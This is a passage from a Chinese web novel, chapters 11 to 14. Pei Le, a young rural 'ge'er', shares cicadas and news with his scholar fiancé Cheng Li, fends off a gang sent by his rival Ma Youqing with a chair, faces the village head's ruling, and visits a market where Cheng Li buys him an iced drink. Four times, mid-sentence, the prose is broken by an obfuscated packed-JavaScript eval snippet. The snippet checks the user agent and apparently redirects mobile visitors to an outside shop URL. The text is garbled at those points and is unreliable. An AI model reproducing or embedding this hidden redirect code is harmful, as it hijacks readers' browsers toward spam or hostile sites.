这次回家的运气不错,马有庆在镇上买东西,所以他们一路上都没有遇见马家的车。 回到家晚饭已经好了,有一道炖鸡,就等着他们回来一起吃。 程立得知柳瑶有孕,由衷说了一番恭喜的话。 天热白日长,晚饭吃完,外头还有余亮,一群人坐在树下摇扇纳凉,说些闲话。 裴乐嫌坐着蚊子咬,进屋又热,便打算去找顾水水玩。 程立却不知从哪儿冒了出来:“乐哥儿,你去哪儿?” 11. 成绩 “我出去走走。”裴乐说。 程立便道:“我跟你一起。” 裴乐看了看天色,没有吭声。 程立这才意识到冒昧。 天都要黑了,他一个汉子和哥儿一起走,会被人传闲话的。 即便他们有婚约,但还未正式成亲,依旧会败坏哥儿的名声。 “抱歉。”程立往后退了一步,“你去吧。” 小书生微低着头,看不清神色,因为太瘦,在微弱的天光下无端显出种可怜。 裴乐迈步就往外走。 他得去找顾水水说说,面对这种又瘦弱又会装可怜的汉子,应当如何应付。 顾水水正在洗澡,说不出门了,裴乐又一个人走回来。 程立估计也是嫌热又怕蚊子咬,一个人在院子里来回走。 裴乐走进院里,走到程立旁边:“你是不是有话想跟我说。” “嗯。”程立一双漆黑的眼眸望着他,眸底闪着光芒,“我拿到抄书的酬劳了。” 就这啊。 裴乐说:“恭喜你。” “我还有一个好消息要告诉你。” 裴乐抬眼,追问:“什么消息?” 程立道:“马有庆成绩很差,我看过他的文章,夫子也说像他这样连童生都不可能考上。” 这确实是个好消息。 裴乐嘴角不禁上扬:“他那么蠢的人,考不上是应该的。” 两人绕着院子走了一圈,程立道:“你怎么不问我的成绩。” 裴乐问:“你成绩如何?” “夫子未做点评。” 见裴乐幽幽地看着他,程立才笑了一下继续说:“但我爹临终前已为我规划好内容,说我基础不错,只要熟读背诵,童生定然不在话下。” 童生啊。 裴乐只知道要先考上童生才有资格考秀才,对具体难度并不清楚。 应该挺难的吧,否则就该遍地童生了。 裴乐认真道:“那你很厉害。” “只不过是学得早罢了,算不得厉害。”程立道,“你也很聪明,若你同我一样幼年入学,考取功名定然不在话下。” 这话裴乐爱听,他也觉得自己挺聪明的,程立能教他这样的学生简直三生有幸,若是遇见石头那样的,保准把人头疼死。 微风徐徐,蟋蟀声阵阵,地面的热气渐渐退却,裴乐的心情也逐渐轻快起来。 程立和他分享了几件私塾的趣事,礼尚往来,他把家里的发生的事也说了一遍。 “槐花包子很香,明日我再去摘一些,买点肉,这样你也能吃到了。” 程立轻轻点头:“好,明日我同你一起去摘。” 说话间见朱红英他们搬着凳子回来了,两人也就各自分开。 次日,上午照常学习,傍晚才去摘槐花。 村里有些人是用一个长棍子绑着镰刀在树下割,裴乐觉得那样麻烦,都是直接爬上树摘,让程立在树下接着。 槐树很高,程立抬头看着哥儿在树枝间穿梭,很怕对方会掉下来摔着。 “你小心一点。” “知道。”裴乐对自己很自信,他快速摘下成串的槐花,摘得差不多后,便直接从树上跳下去,稳稳落地。 程立看得十分羡慕。 以他的体质,若是从那样的高度跳下来,必定会摔伤。 “走吧。”裴乐拎起篮子,忽然听见蝉鸣,“你吃不吃知了。” 不等程立回答,他就把篮子放下:“我去抓几只。” 他喜欢吃知了。 装着槐花的篮子看着满,实则不算很沉,程立提着篮子,跟到裴乐旁边:“好抓吗。” “好抓。”裴乐说着,就出手往树上盖,果然抓到了一只。 附近的树上还挺多,裴乐很快就抓了好几十只,用衣裳兜着,两人一块儿回家。 知了油炸最好吃,或者火烤了也好吃。 裴乐还是想吃油炸的,将知了洗净后,便起锅烧油,炸出了一盘子。 他用筷子夹起一只递到程立嘴边:“你尝尝。” 程立从来没有吃过知了,小时候不住在村里,搬到麻双村后,自己没有抓过。 知了被炸得金黄,散发着香味,程立张嘴咬住。 他对虫子并不害怕,因为逃难的时候什么都吃过。 知了特有的香味以及油味在嘴里迸开,瞬间俘获了他的味蕾。 裴乐一看对方的神色就知道了:“好吃对吧。” 程立点头。 裴乐端起盘子,多拿了几双筷子:“我拿到堂屋一起吃。” 裴乐抓的知了不少,但裴家人多,每个人分一分就没有了。 “我还想吃。”石头说,“小阿爷,明天我们还去逮知了好不好。” 裴乐自己也没吃够,便应下:“好,明日若有时间,我就陪你去逮。” 石头顿时欢天喜地。 — 私塾夏季在酉时过半放学,院门打开,不住宿的回家,住宿的也可以出去半个时辰。 马有庆坐牛车回到村里,约摸需要两刻钟。 他爹马老三每天都亲自赶着车来接他,因为若是坐车,花钱不说,牛车只拉到村口,还得马有庆步行回家。 天晴还好,若是下雨,地上满是泥泞,岂不是污了未来秀才公的衣鞋? 但今日马老三却没有来接。 马有庆在门口等了足有一刻钟,等得黑云满头,不得不搭车回家。 今天很不巧,下午下了雨,路面不算很难走,但还是会沾泥。 马有庆挎着阿爹缝的大书包,尽量捡着干路面,慢吞吞往家的方向走。 他心里很不爽,已经想好回到家怎么发火了。 路上看见裴乐和裴向星不知道说了什么那么开心,他心里更憋屈了。 裴乐一个哥儿,凭什么敢瞧不起他甚至打他,凭什么还能这么高兴? 裴乐还运气好,找了个瘦弱的小白脸,怎么不找个爱打人的好打死他呢。 马有庆恶毒地想。 裴向星是裴老三家的老二,是个女孩,比裴乐小三岁。 裴向星方才跟裴乐说她今儿抓到了一只特别漂亮的蝴蝶,然后打开盒子给裴乐看。 果然是一只很漂亮带着碎黑花纹的蝴蝶。 裴乐也看见了马有庆,但他只当没看见。 如今不是小孩子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16445428|185081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,不能看见讨厌的人就冲上去打架。对方若不惹他,他以后就不计较了。 他是这般想的,落在马有庆眼里,马有庆只觉得是这哥儿胆敢轻视自己。 他更加恼火,气鼓鼓地走了。 等回到家,他的火气灭了一半,也压根发不出来了。 马老三整张脸都肿了起来,胳膊上也有多处红肿,靠在床上直叫疼。 他今儿上山砍柴,看见蜂巢,想着取些蜂蜜给儿子吃,结果操作不当,蜂蜜没有拿到不说,反而被蜜蜂蛰成了这样。 马家夫郎正在院子里熬药,看见儿子回来心情才好转了:“厨房里有鱼汤,阿爹去给你煮面,你来熬药。” “我不会熬药。”马有庆皱眉头。 普通的农家孩子,五六岁就要开始帮家里做力所能及的事了,但他长到十三岁,连碗都不曾洗过一个。 一则因为夫夫俩只有他一个孩子,在他之前还不小心流了两个,因此对他稀罕得紧。二则因为他是个读书人,去远村念蒙学时还被夫子夸过聪明有天赋,俩人对他寄予厚望,只希望他好好念书,将来出人头地。 “往里添柴,别让火灭了。”马家夫郎只当儿子真不会,教学说,“时不时用布揭开盖子看一眼,熬到只有小半罐水就成了。” 这事儿太过简单,五岁的孩子都会。 马有庆推脱道:“夫子留了功课,我还要做功课,哪有时间熬药。” “那你先去做功课,我给你爹熬完药再给你做饭。” 马有庆饿着呢,闻言道:“你不会让爹自己来熬药吗,他胳膊又不是不能动!” 他脾气上来了,这话也说的大声,莫说是屋里的马老三,就是左邻右舍都能听见。 马老三“嘶嘶”叫疼的声音忽然停了,从屋子里走出去,看着自己唯一的儿子。 马老三比马有庆长的高,马有庆还是有点怕爹的。 他脖子缩了缩,不情不愿地坐下:“知道了,我来熬药,阿爹你快点去给我做饭吧,我都要饿死了。” “行,我这就做。”马家夫郎进了厨房。 马老三又看了儿子两眼,最终还是没发火。 因为这一茬,后面马有庆没敢再耍性子,等吃完饭甚至关慰了亲爹几句。 马老三又觉得感动:“这次是我不小心,下次不会了,不过夏天老是下雨,路不好走,冬天又天冷,不如你住在私塾算了。” 一个月一两银子,马家出得起。 马有庆却不想住宿:“爹,我舍不得你和阿爹。” “阿爹也舍不得你,可每日接你都要花费很多时间,你爹太辛苦了。”马家夫郎道,“你住在私塾,省下时间我们多干些活,也好多给你些银钱。” 听见“银钱”二字,马有庆有些心动,但想到在私塾没人捧着自己,衣裳说不定还得自己洗,他又清醒了:“爹若觉得辛苦,那以后每日我自己坐车上下学,我就想每天看到你们。” 他们夫夫俩也舍不得长时间看不见儿子,听见儿子这样说,就同意了下来,还说马有庆懂事。 “我都十三岁了,自然该懂事。”马有庆顿了顿,“不过,我如今自己坐车,你们是不是该多给我些钱?” 12. 拦路 又摘了一次莲蓬,这次是裴向浩跳下去摘的,摘完之后,裴乐就说分给他们家一半。 裴向浩十四岁,跟裴乐年龄相近。 裴向浩喜滋滋地拿了一半:“我最近在跟爹学着做椅子,做了几把,但不太精细,等会儿你拿两把走。” ——裴老三是个木匠。 “成,明儿娘做鱼吃,我给你们端一条。” “好啊。” 两人各自准备好的布把莲蓬包起来,边说边往裴叔良家走,路上遇见了去地里除草的马老三。 马老三胳膊好得差不多了,脸和后颈却还能看出肿胀的痕迹。 “他真惨。”裴向浩小声说,“我听说他都被蛰得一个头两个大了,马有庆连药都不愿意给他熬。” 这件事裴乐也听说了,他心里挺爽的。 马有庆惹事的时候,马老三基本不出面,都是马家夫郎带着儿子去闹。 好些人说马老三是个老实人,就是运气不好娶了个泼夫。 但在裴乐看来,马老三只是让夫郎去出头,自己躲在背后受利罢了。 毕竟马家夫郎讹回去的东西,马老三也都享用了。 “他自己把儿子教成那样的,活该。”裴乐毫不同情道。 裴向浩想了想也是:“确实是他们夫夫俩惯的,要是我爹生病我敢不熬药,我娘肯定把我打死。” 话音落下,两人正好进院子。 裴乐跟三哥还有裴向星打了声招呼,便去看裴向浩做的椅子。 裴向浩才开始学做靠椅,用的是最便宜的杨木,肉眼可见的粗糙,但是椅面打磨得光滑不扎人,也算结实,自家用还是没问题的。 椅子不重,但家里也不缺椅子,裴乐只挑了一把。 他将椅子扛起来,这样拿着舒服,轻轻松松就出了门。 两家离得不远,但村里的路弯弯绕绕,途中得拐两个弯。 裴乐才拐了第一个弯,就看见七个人在前面蹲着。 最小的十岁,最大的十五岁,有的手里拿着粗棍子,一看见他就站了起来。 裴乐扬眉:“在等我?” 为首也是年龄最大的汉子马全道:“对,等的就是你。” 马全:“把你的东西都放下,然后跪下爬过来。” 裴乐眼神顿时就沉了。 马全道:“怎么还不照做,难道你以为一个人打得过我们这么多人?” “试试看呗。”裴乐嗤笑了声,语气轻描淡写,丝毫不惧。 他小时候经常跟这些汉子打架,都有经验了,越畏惧越受欺负,就算真打不过,也得做出硬气的样子。 马全本来就受了马有庆的好处,要打裴乐一顿,最好还能毁了裴乐的名声,所以当即一挥手:“揍他!” 裴乐左手松开装着莲蓬的包袱,右手握紧椅背,狠狠砸向第一个冲上来的汉子。 那汉子和裴乐差不多高,见椅子砸过来,下意识躲避,但还是被砸中了肩膀,扑在地上直呼痛。 剩下几个不敢上了。 他们本以为是来凑人数的,谁知道真打架啊,而且裴乐还有椅子,椅子杀伤力那么高。 马全急道:“上啊,我们这么多人怕他一个哥儿?” “全哥,我们这么多人欺负一个哥儿不太好吧。”有人犹犹豫豫说。 “怂包软蛋!”马全怒骂,“马有庆真是白教你们了。” 裴乐道:“还打不打,不打就让开,我急着回家。” 马全恨恨地瞪了一遍小弟们,给裴乐让开路。 裴乐重新拎起莲蓬,往前走。 就在裴乐从自己身边走过去的时候,马全突然抬起腿往裴乐身上踹去—— 裴乐背后仿佛长了眼睛,闪身避过,扬起椅子就往马全脑袋上砸。 瞬间,马全额角流出鲜血,小弟一哄而散,喊着“裴乐杀人了”,一个比一个跑得快。 马全收回腿,站在原地恐惧又直楞地看着裴乐。 就算他带这么多人堵在这里,也只是想给裴乐一个教训,可裴乐却敢往他脑袋上抡。 裴乐敢杀了他。 “阿叔,你没事吧。”裴向星拎着篮子准备去地里摘菜,听见这边有动静,跑过来就看见这副景象。 她有点怕血,但还是跑到裴乐旁边。 裴乐摇头:“我没事,麻烦你回去把三哥叫过来,让他带上止血药,我去找郎中。” 他没想杀人,下手是留了力气的,不过伤的是脑袋,肯定得请郎中。 裴向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16445429|185081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星看了眼马全,知道厉害,飞快地往家跑。 裴乐则威胁马全想活命就别乱动,自己也往家跑。 他得先去套牛车,赶车接郎中。 裴向星跑回家就赶紧说事:“爹不好了!阿叔把马全脑袋打破了,正流血呢,就在院子后头那条路,让你……” 话还没有说完,裴叔良就起身进了屋。 他是个木匠,免不了受些小伤,一开始学艺时还受过大伤,因此家里有止血的草药。 草药捣碎,父女俩跑回去,马全果然还在原地没敢走。 裴叔良给敷上止血药,拿布包住,见洗完澡的裴向浩来了,便让儿女带马全去裴伯远家,自己则去通知马全的爹娘。 但根本就不用他通知,那些小弟早已经去通知过了,他走到半路就看见马家的人往这边赶。 大东村有一名郎中,姓蔡,五十多岁了,不过身体还很健朗,在村里风评也好。 裴乐赶车到蔡郎中家里,说了情况后,再带着郎中赶车回来,花费了一刻半钟。 马家已经在裴家闹翻天了,指着裴厚朱红英等人的鼻子骂,什么难听骂什么,还扬言说要报官。 裴家当然不会任他们骂,朱红英嘴皮子利落,便上前跟他们对着吵骂。 周夫郎和魏芝也跟着骂。 柳瑶因为怀孕了,怕受惊,周夫郎就让她躲屋子里了。 裴乐拉着蔡郎中进门时,院子里已经围满了马家以及看热闹的人。 见郎中来了,马家人暂时消停,等着蔡郎中诊断。 蔡郎中让裴家人去烧水拿酒,而后观察气色,把脉,验看伤处,询问情况。 一通做下来,水和酒也拿来了,蔡郎中将伤处重新清洗干净,敷上草药。 “怎么样了,我儿子不会有事吧。”齐翠忍不住询问。 蔡郎中道:“伤口看着严重,但并未伤及骨头,止血也算及时,不过脑袋上的伤终究不容小觑,我给他开几服药,先养上十天半个月。” “若是养不好怎么办,你确定我儿子没事吗,这伤的可是脑袋。”马老大皱眉说。 蔡郎中:“若是信不过我蔡某,现在时候还早,你们大可以带儿子去镇上看病。” 齐翠:“那就去镇上。” 13. 一两 镇上郎中看过,得出了和蔡郎中一样的结论,马家夫妻才终于放心。 但这事远没有结束。 裴家愿意出医药钱,可马家觉得不够,要求双倍医药钱,让裴乐赔礼道歉,并且来马家照顾马全直到伤势痊愈。 裴乐自是不愿意,裴家也不同意。 “让我们家小哥儿去照顾一个汉子,你怎么说得出口?”周夫郎怒道,“以为别人都是傻子,不知道你打的什么主意?” 齐翠道:“这会儿又是小哥儿了,不是把人脑袋砸破的时候了!” “要不是你们家马全带着一群人想欺负我家乐哥儿,乐哥儿能打人吗?” “你说欺负,证据呢,哪个看见了?” …… 一众人又在马老大家门口吵嚷起来,不可开交。 裴伯远去请了村长过来。 村长高龄七十,姓万,当了二十多年大东村村长,颇有威信。 万村长在高椅上坐下,拐杖点了点地:“别吵了,我来一个一个问。” 他先问了裴乐,裴乐道:“我从三哥家出来,遇见马全带了一群汉子拦路,他们要打我,我没办法才反抗的。” “谁打你了!”齐翠红着眼眶说,“我儿子伤成这样,你身上哪有一个伤口?” 裴乐:“我若不反抗,被打的就是我了。” “你……” 村长再次拐杖点地,叫他们安静。 随后村长又问:“他们打架有人看见了?” 有一男一女举手,都是三四十岁的本村人。 他们从旁边的大道上路过,一个看见裴乐用椅子砸了冲上来的汉子,另一个看了全程。 村长又询问了那些“小弟”们,小弟们基本说了实话。 最后,村长才问马全。 马老大朝儿子使眼色,可马全却扛不住周围人投来的目光,哆哆嗦嗦道:“是马有庆让我找人给裴乐一个教训,我们只是想打他一顿,而且他明明可以跑……” “我打你的时候你怎么不跑?”裴乐冷冷反问。 马全说不出话来。 村长:“看来事情已经明了,是马全一帮人先找事,裴乐才动手。依我看,这事儿都有责任,各家都要反省,赔一半医药钱就够了。” “我们家马全都十五岁了,是个壮劳力,他现在伤了脑袋不能干活,要耽误多少事,咋能只赔一半医药钱?”马老大不服气,这比裴家说的还不如了。 村长道:“他一个壮劳力,居然领着一帮人去堵小哥儿,难道你马家觉得光荣么?我不将你们赶出村已经很给你们马家面子了。” “赶出村”很有威力,马老大只能咽下心中那口气,挥手没好气赶人走:“村长都判完了还堵在这里干什么,家里都没事做?” 村长出声:“还没有判完,马有庆一家在哪儿?” 马老三和刘夫郎走出人群。 “马有庆呢?” “村长,我们家庆儿在上学。”刘夫郎辩白道,“他一向用功,那话叫什么来着,两只耳朵都听不见别的了,只知道念书,这事儿绝对跟他没关系。” “马有庆和裴乐有仇全村人都知道。”顾水水在人群中道。 刘夫郎瞪了顾水水一眼,又讨巧地看着村长:“村长,我们家庆儿真的一直在读书,根本就没空找人。” 眼看着事情都要推在自己身上了,马全怕被裴乐报复,连忙道:“马有庆昨儿来了一趟我家。” 刘夫郎瞪向马全:“你们是堂兄弟,他去找你玩多正常,他一个读书人,咋可能让你们去欺负一个哥儿。” “正因为我们是堂兄弟,我才帮他的。”马全说。 “大哥大嫂,你们说怎么办。”刘夫郎干脆看向马老大齐翠,“村长已经说只赔你们一半医药钱了,现在还要把我们也拉下水?” 毕竟都姓马,他们夫妻俩也盼着马有庆将来出人头地好让他们沾点光,听出刘夫郎的意思,马老大便道:“全儿伤了脑袋,糊涂了,昨个庆儿没来过我们家。” 马全不可思议地看向父亲,又被父亲使了个眼色。 村长毕竟七十了,对他们的小动作看不清楚,但听音也知道这马家人在做什么。 但马全改口说不关马有庆的事,谁都没证据证明跟马有庆有关。 “这件事就到此为止,我也该回去了。”村长撑着拐杖站起来,裴向阳忙过去扶住他。 村长走后,裴家人也走了,其他人便各自散去。 马老三走到大哥面前:“大哥,实在对不住,我不知道这件事,我要是知道,肯定教训庆儿一顿,不让你们家全儿牵扯进去。” 马老三夫夫多惯儿子所有人都知道,齐翠知道马有庆绝不会有处罚,她心疼自己儿子,扶着马全先进屋了。 马老大沉声道:“你那个儿子是该管管了,还有你夫郎,他刚才把所有事都往全儿身上推,有没有想过我们家可能被赶出村?” “对不住。”马老三把自己夫郎扯过来,“你快给大哥道歉。” 刘夫郎连忙道了歉。 读书费钱,马有庆念书,有时候还要依赖亲戚支持。 马老大心里有气,可想到这是自己亲弟弟一家,又苦口婆心道:“让庆儿把心思放在念书上,别老跟一个哥儿过不去,实在不行先给他娶妻,好让他收收心。” 说完,他也进屋看自己儿子了。 马老大只是出个主意,夫夫俩却上心了。 村里十三岁娶妻不常见,但也不算惊人。 家里就两个人干活,一个人出事,另一个就独木难支。若能再添个人干活,还能帮忙督促儿子念书,岂不妙哉? 虽说农里女子哥儿粗俗,配不上他们家庆儿,但先将就着用吧,等到考上秀才,再休妻另娶便是。 * 裴乐踏进自家院子,听见裴伯远说让关门,就知道逃不过一顿教训了。 “大哥,对不起,我太冲动了。”裴乐低着头,双手攥成拳垂在两侧,诚恳地道歉。 他小时候经常打架,每次就这样道个歉就没事了。 但这次不同,这次马全伤的是脑袋。 “你如今越来越厉害了,这次敢砸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16445430|185081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人脑袋,下次是不是要动刀子?” 裴伯远的声音从头顶传来,裴乐抿了抿唇,小声辩解道:“他们人多,我没有办法。” “人多不会跑吗,不会喊人?” “跑了下次还会堵我,而且我知道他们都是一帮怂包,不敢一起上的。”裴乐自认有理。 “我说不过你,但你有没有想过自己受伤怎么办。” 裴乐道:“那我就喊人,三哥家就在后面,他肯定能听见。” 裴伯远被气得不知道该说什么好了。 朱红英道:“乐哥儿,你大哥只是担心你,下次再遇见这种事,你就先跑,过后再跟家里说。” “我知道大哥是担心我。”裴乐扬起脑袋,放软声音,“我真的知道错了,以后再也不这样了。” 又说:“这次的药钱我自己出,不让家里出钱。” 他经常去镇上卖东西,过年有压岁钱,偶尔家里还会给点零花,他衣食住行都由家里包办,便攒了些钱。 前天他才数过,有个整的一两银子和五十七枚铜板。 郎中说,马全的医药钱差不多得二两,他正好能出得起一半。 “好。”裴伯远一口应下,“以后你再将人打伤,药费全由你自个出,免得不长教训。” 裴乐嘴角瞬间平了。 他还以为大哥会客气一下,不让他出钱呢。 不过他不后悔,再来一次,他还是要砸脑袋,免得马全不长教训,再来惹他。 六月最后一天,裴乐没去镇上,程立回来时天都要黑了,而且还下起了雨,两人便几乎没说话。 逢一是私塾休沐日,也是赶集日。 裴家习惯初一去赶集,主要是看热闹,若有什么便宜好用的东西,便买一些回来。 柳瑶怀孕不到三个月,集市人多就没让她去,裴向阳和朱红英老两口也留在家里。 于是,只有裴伯远两口子,还有裴乐、程立和石头五人去赶集。 “等会儿到了集上,你拉着我的手不要松开,不准乱跑,听明白没。”周夫郎在叮嘱石头。 集市人多,拍花子往往混迹其中,趁机掳走男童亦或是正值妙龄的姑娘哥儿。 “你们俩也别乱跑,别去人少的地方。”周夫郎又对裴乐程立说。 裴乐弯了弯眼睛:“知道了阿嫂,我们肯定不会乱跑的。” 集上有官家设立的专门帮忙看车的地方,还帮忙喂食,半天五文钱,一整天十文钱。 裴伯远将牛车寄存,领了块半天的牌子。 见幺弟眼睛直直地望着某个方向,裴伯远道:“家里也不缺什么,先去勾栏看看吧。” 集市里的勾栏并非秦楼楚馆,而是给各类艺人提供的表演场所,耍杂技的、变戏法的、还有唱曲的都在那里。 裴乐每回赶集都是为了去勾栏。 集市上大部分人都是这般想的,因此越接近勾栏,路上就越挤。 石头一只手握着周夫郎,另一只手被裴伯远牵着。 裴乐和程立两个人跟在后面,因为拥挤,不得不离得很近。 14. 饮子 夏季炎热,裴乐习惯穿半袖的轻薄葛布衣裳。 行走交错间,两人的手背和小臂时不时接触,又随着摆动立即分开。 裴乐感觉到了,但并未当回事。 农家的男哥大防不似官家贵族那般严苛。插秧时个个都得下地干活,卷起裤腿撸起袖子,女子哥儿的手臂腿脚同样暴露在外,打眼一望就可瞧见一片。 他都习惯了,况且他还跟汉子打架呢,不仅会碰到手臂,他还会踩住对方脖子呢。 程立倒是有些在意。 他小时候也跟哥儿玩过,但那个时候太小了,都是六七岁前的事。后来到了麻双村,他鲜少出门,就几乎没接触过同龄女子哥儿了。 他将手臂往里收,抬眼打量裴乐。 哥儿正饶有兴致地观察四周一切,但不包括他。 程立收回目光,也和裴乐一样将注意力放在四周的景象上。 辰时将至,摊主早已就绪,臊子面、馅饼、小馄饨应有尽有。 他们是吃了早食才出发的,不饿,但石头年龄小看见好吃的就吵着要。 裴伯远便做主买了四张肉油饼,五文一张,摊位有手掌大的油纸供取用。 他取了五张油纸,跟石头一人半张饼,剩下三张分给三人。 肉油饼很薄,擀得比人脸还大,表皮烤得酥脆油香,内里薄薄一层肉馅,肥瘦恰到好处,吃起来香得不行。 裴乐咬了一口就不觉弯起眼睛,觉得来这一趟值了。 到了杂技表演的地方,观众还不算太多,裴乐拉着石头站到侧面。 这里视野不如正中好,但也都能看见。 程立站到他旁边,周夫郎和裴伯远就站在他们后面。 台上的素衣小姑娘执一杆红缨枪,闪转腾挪,耍得虎虎生风,迎来一阵又一阵的喝彩,石头还是头一次看这样的表演,激动得直蹦。 枪风一扫,枪尖抵在了素衣汉子的脖颈上。 汉子不闪不避,反而用自身的力量和枪尖对抗了起来。 石头张大了嘴巴,裴乐也看得吃惊。 枪尖收回,那汉子脖颈完好无损,一滴血都没有流,还能作揖喊话,众人无不叹服。 裴乐想了想家中铁器的触感,又摸了摸自己的脖子,往里按一下,一股不适感顿时袭来。 他收了劲儿,实在想不通那汉子是怎么做到的。 小姑娘走下台,端着盘子收打赏,汉子又表演起了拳法。 裴乐摸了摸自己的钱袋。 医药钱出了一两三十文,他剩下二十七文,跟着去卖了一次鸡蛋,得十五文,这段时间大哥给了十文零花钱,加起来总共五十二文。 他在家留了四十文,只带了十二文出来。 他摸了两枚铜钱,放进盘子里。 程立给了三文,周夫郎也往盘子里放了钱,但裴乐站在前面,就没看清阿嫂放了多少。 台上表演仍在继续。 拳法表演结束后,那汉子和小姑娘开始表演起双人杂技,各种难以想象的动作被两个人轻松地做出来,看得人兴奋不已。 裴乐觉得自己两文钱花得很值。 后来又去看了一会儿变戏法,又打赏两文,口袋里便只剩下了八文钱。 巳时一刻,太阳高照,艺人们收摊,勾栏的人顷刻间少了大半。 周夫郎打算带石头去布店之类地方看看,来一趟多少买点,裴伯远自是跟着他一起。 “我跟程立想自己逛。”裴乐不想跟着去。 买家用他没有发言权,周夫郎又选得慢,总要对比很久,对他来说太枯燥无聊了。 裴伯远:“那你们自己逛着玩,巳时结束前到车场子集合。” 裴乐连忙点头,保证自己会早点到,然后目送三人走远。 程立看向他:“我们去哪儿?” 裴乐没什么想去的地方:“随便走走,到处看看,或者你有什么想买的东西,我可以陪你去买。” 程立没有要买的,裴乐便带着对方到处走,哪里聚集的人多就去哪里凑热闹,听摊主王婆卖瓜,看别人讨价还价。 也蛮有意思。 巳时过半,阳光炽热起来。 裴乐不再往人多的地方凑,抹了把汗:“我们去车场子吧,那里有棚子,可以歇凉。” 程立看了看他,又看了看四周,道:“等会儿。” 说罢,程立往一个摊位走去。 那摊位是卖饮子的,摊主才把摊子支起来,桶里的冷气离近了便能感觉到,十分清爽。 裴乐摸了摸自己的钱袋,轻轻一扯程立的衣袖,悄声:“很贵的,而且你身子虚,不宜饮用冰水。” 如今还没有制冰的技术,夏日所有冰都是冬季里大户人家采集了,放在地窖中方能储存至今。 清奉县并非严寒之地,冬季里厚冰本就不多,更不用提后面还要经过许多步骤。因此,夏日冰饮极贵,只有富贵人家才能吃得起。 裴乐长到如今,也就小时候尝过一口。 “老板,冰饮怎么卖。”程立出声询问。 “绿豆沙五十文一竹筒,酸梅汁四十文。”老板一边说着,一边把提前写好的价板拿了出来,“还有不加冰的紫苏饮子只要十文一筒,喝了也解暑。” 价板上的价格和老板说的一样,裴乐想到早上吃的肉油饼一个才五文钱,更是咂舌。 他正想劝程立买紫苏饮子,程立就开了口:“要一筒绿豆沙。” 没想到还是个大客户,摊主生怕钱跑了,麻利地就给盛了满满一竹筒绿豆沙,还给送了个比竹筒长两寸的长木勺。 程立接过绿豆沙,递给裴乐。 裴乐以为让自己帮忙拿着呢,就先拿着了。 程立数出五十枚铜钱,交付清楚,道:“走吧,我们去车场子。” 裴乐自然地把带着凉气的竹筒递回去:“给。” “给你的。”程立道,“我身子虚,不宜饮用冰水。” 裴乐下意识道:“我有水。” 他带了水囊,就在腰间拴着。 “绿豆沙更好喝。”知道哥儿是不好意思接受,程立朝对方笑了一下,劝道,“你快喝了吧,否则凉气散去,钱就白花了。” 裴乐这才确定真是给自己的,握着冰冷的竹筒,一时心绪竟有些复杂。 程立这也……太败家了吧。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16445431|185081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但再不喝凉气真要散了,而且已经买了退不回去,裴乐将勺子和竹筒都递到程立眼前:“那你先吃几口。” 程立没接。 裴乐催促道:“快点,否则等大哥过来,看见我们买这么贵的东西,肯定要骂人了。” 哥儿脸上无一丝羞赧,程立接过竹筒,因竹筒太满,他舀起一勺,再用勺子将饮子倒进口中,全程都没有接触到竹筒和勺子。 “好了,剩下的你喝吧。” 裴乐这才就着竹筒喝了一大口。 绿豆本就带着甜,其中又加了蜜糖,更是甜得厉害,但并不腻。 恰到好处的冰冷缓解了甜腻,只留下舒爽。 凉气顺着食管进到肚里,裴乐只觉全身都畅快,一点也不热了。 难怪卖这么贵还能有受众。 “好喝吗。”走到车场子后,程立忽然开口问。 裴乐点头,笑得眯起眼睛:“当然好喝,谢谢你。” 程立看着身边的哥儿,自己心情也好起来:“你喜欢就好。” 两人一块儿在棚子里坐下,裴乐道:“我挺喜欢的,但你以后别再买这么贵的东西给我了,我还不起。” 他现在钱袋里只有八文,家里四十文,凑在一起都还不了这筒饮子的钱。 程立道:“是我自愿给你买的,无需还钱。” “话是这么说,但若是东西太贵,我不还不好意思。”裴乐小声说,“毕竟你抄书也挺辛苦的。” 说罢,他隐约看见自己大哥,便快速将剩下的喝了,里面的绿豆沙用勺子蒯出来吃掉,而后将竹筒和勺子都扔进渣斗。 